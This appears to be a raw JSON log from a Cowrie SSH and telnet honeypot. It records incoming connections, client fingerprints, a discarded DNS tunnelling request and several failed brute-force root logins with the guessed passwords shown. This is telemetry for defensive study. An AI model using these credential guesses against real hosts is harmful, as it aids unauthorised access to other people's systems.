{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:44.111813Z","session":"380a47cb19f0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:44.210260Z","src_ip":"87.251.64.176","session":"380a47cb19f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:44.446372Z","src_ip":"87.251.64.176","session":"380a47cb19f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.8.74","src_port":50318,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6f850b23dae","protocol":"ssh","message":"New connection: 159.65.8.74:50318 (10.17.0.5:22) [session: b6f850b23dae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:47.788718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:47.793320Z","src_ip":"159.65.8.74","session":"b6f850b23dae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:48.032571Z","src_ip":"159.65.8.74","session":"b6f850b23dae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"miranda","message":"login attempt [root/miranda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:49.019852Z","src_ip":"159.65.8.74","session":"b6f850b23dae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:50.263597Z","src_ip":"159.65.8.74","session":"b6f850b23dae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46492,"dst_ip":"10.17.0.5","dst_port":23,"session":"e81741d1dcfe","protocol":"telnet","message":"New connection: 152.42.224.71:46492 (10.17.0.5:23) [session: e81741d1dcfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:53.843306Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":46376,"dst_ip":"159.203.135.109","dst_port":22,"session":"56ba24740d53","protocol":"ssh","message":"New connection: 68.183.236.1:46376 (159.203.135.109:22) [session: 56ba24740d53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:57.826390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:57.836665Z","src_ip":"68.183.236.1","session":"56ba24740d53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:58.074561Z","src_ip":"68.183.236.1","session":"56ba24740d53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"135792468","message":"login attempt [root/135792468] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:59.055504Z","src_ip":"68.183.236.1","session":"56ba24740d53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:21:00.299957Z","src_ip":"68.183.236.1","session":"56ba24740d53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.47.9.103","src_port":33838,"dst_ip":"10.17.0.5","dst_port":22,"session":"6857dfbd88c6","protocol":"ssh","message":"New connection: 181.47.9.103:33838 (10.17.0.5:22) [session: 6857dfbd88c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:21:00.313988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:21:00.320499Z","src_ip":"181.47.9.103","session":"6857dfbd88c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:21:00.464265Z","src_ip":"181.47.9.103","session":"6857dfbd88c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nelson","message":"login attempt [root/nelson] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:21:01.068299Z","src_ip":"181.47.9.103","session":"6857dfbd88c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:21:02.215686Z","src_ip":"181.47.9.103","session":"6857dfbd88c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":55134,"dst_ip":"159.203.135.109","dst_port":22,"session":"9cfe80641fa5","protocol":"ssh","message":"New connection: 103.27.238.114:55134 (159.203.135.109:22) [session: 9cfe80641fa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:21:06.514377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:21:06.522936Z","src_ip":"103.27.238.114","session":"9cfe80641fa5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:21:06.784558Z","src_ip":"103.27.238.114","session":"9cfe80641fa5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"blink182","message":"login attempt [root/blink182] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:21:07.567997Z","src_ip":"103.27.238.114","session":"9cfe80641fa5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:21:08.832604Z","src_ip":"103.27.238.114","session":"9cfe80641fa5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.97473883628845,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:21:09.622339Z","src_ip":"152.42.224.71","session":"e9f6fc7b0432","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58700,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7be4f027a87","protocol":"telnet","message":"New connection: 152.42.224.71:58700 (10.17.0.5:23) [session: b7be4f027a87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:21:10.884789Z"}
{"eventid":"cowrie.session.closed","duration":56.93256592750549,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:21:13.356315Z","src_ip":"152.42.224.71","session":"d68b00e0afe0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58716,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a53c524de0e","protocol":"telnet","message":"New connection: 152.42.224.71:58716 (10.17.0.5:23) [session: 9a53c524de0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:21:14.337184Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49422,"dst_ip":"10.17.0.5","dst_port":23,"session":"69fe7abb495b","protocol":"telnet","message":"New connection: 152.42.224.71:49422 (10.17.0.5:23) [session: 69fe7abb495b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:21:23.209384Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.38.88","src_port":50446,"dst_ip":"159.203.135.109","dst_port":22,"session":"90a7d63e897e","protocol":"ssh","message":"New connection: 43.130.38.88:50446 (159.203.135.109:22) [session: 90a7d63e897e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:21:25.435567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:21:25.441282Z","src_ip":"43.130.38.88","session":"90a7d63e897e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:21:25.512617Z","src_ip":"43.130.38.88","session":"90a7d63e897e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ming","password":"123456","message":"login attempt [ming/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:21:25.819102Z","src_ip":"43.130.38.88","session":"90a7d63e897e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41342,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2b004b2495c","protocol":"telnet","message":"New connection: 152.42.224.71:41342 (10.17.0.5:23) [session: f2b004b2495c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:21:26.043859Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:21:26.890710Z","src_ip":"43.130.38.88","session":"90a7d63e897e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41354,"dst_ip":"10.17.0.5","dst_port":23,"session":"115d27a69396","protocol":"telnet","message":"New connection: 152.42.224.71:41354 (10.17.0.5:23) [session: 115d27a69396]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:21:32.153502Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.230.231","src_port":55006,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ed822a819da","protocol":"ssh","message":"New connection: 45.78.230.231:55006 (10.17.0.5:22) [session: 4ed822a819da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:21:40.698216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:21:40.702874Z","src_ip":"45.78.230.231","session":"4ed822a819da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:21:40.940333Z","src_ip":"45.78.230.231","session":"4ed822a819da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2056","message":"login attempt [root/2056] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:21:41.921785Z","src_ip":"45.78.230.231","session":"4ed822a819da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53508,"dst_ip":"10.17.0.5","dst_port":23,"session":"b50a718820fe","protocol":"telnet","message":"New connection: 152.42.224.71:53508 (10.17.0.5:23) [session: b50a718820fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:21:43.114357Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:21:43.162669Z","src_ip":"45.78.230.231","session":"4ed822a819da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53520,"dst_ip":"10.17.0.5","dst_port":23,"session":"be92a868ce3f","protocol":"telnet","message":"New connection: 152.42.224.71:53520 (10.17.0.5:23) [session: be92a868ce3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:21:46.162941Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35170,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a3b2d0a9d47","protocol":"telnet","message":"New connection: 152.42.224.71:35170 (10.17.0.5:23) [session: 4a3b2d0a9d47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:21:47.706402Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.177.217","src_port":57438,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8294ec6891d","protocol":"ssh","message":"New connection: 43.135.177.217:57438 (10.17.0.5:22) [session: d8294ec6891d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:21:50.063624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:21:50.068567Z","src_ip":"43.135.177.217","session":"d8294ec6891d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:21:50.137419Z","src_ip":"43.135.177.217","session":"d8294ec6891d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:21:50.362270Z","src_ip":"120.27.154.152","session":"ca51ca03c3af","protocol":"ssh"}
